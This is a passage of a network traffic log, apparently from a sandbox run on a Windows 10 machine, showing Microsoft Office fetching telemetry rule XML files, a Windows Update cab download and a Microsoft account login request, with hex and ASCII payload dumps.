2024-11-11 18:52:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: feb354c0-101e-0079-0dd5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185219Z-174f7845968vwdr7hC1EWRsh3w00000005bg000000002m5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9a2bdabf-a01e-0053-27d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185219Z-174f7845968cdxdrhC1EWRg0en00000005bg000000004dvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 55c0910e-d01e-0082-5dd5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185219Z-174f7845968frfdmhC1EWRxxbw00000005f000000000371r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 1815df8f-001e-0028-27d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185219Z-174f78459685726chC1EWRsnbg00000005d000000000agmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49756	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cx4BNEmLhP9xUK2&MD=kc2w5st2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-11 18:52:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a12278a5-8598-40de-83d1-61baa83150c6 MS-RequestId: cc6a6372-d751-4ec9-9b95-3ab03c350741 MS-CV: YwvLqR5vhUOYvxYc.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 11 Nov 2024 18:52:19 GMT Connection: close Content-Length: 24490
2024-11-11 18:52:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-11 18:52:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: dc8e78b0-f01e-0085-35d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185220Z-174f7845968ljs8phC1EWRe6en000000057g000000006cnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1958a6a9-101e-0046-5bd5-3391b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185220Z-174f7845968c2t8dhC1EWR8s2000000004yg00000000tmt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 87508168-a01e-0098-0bd5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185220Z-174f7845968vwdr7hC1EWRsh3w00000005c00000000014pb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2f59f113-901e-002a-1dd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185220Z-174f7845968xlwnmhC1EWR0sv8000000054g00000000g3ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 5f7101d7-901e-0048-4fd5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185220Z-174f7845968l4kp6hC1EWRe88400000005h000000000m9mx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49758	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 18:52:20 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 18:52:20 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 18:51:20 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 258ca4fb-5633-43ab-8f45-e116136dd0ba PPServer: PPV: 30 H: SN1PEPF0002F93C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:52:20 GMT Connection: close Content-Length: 1276
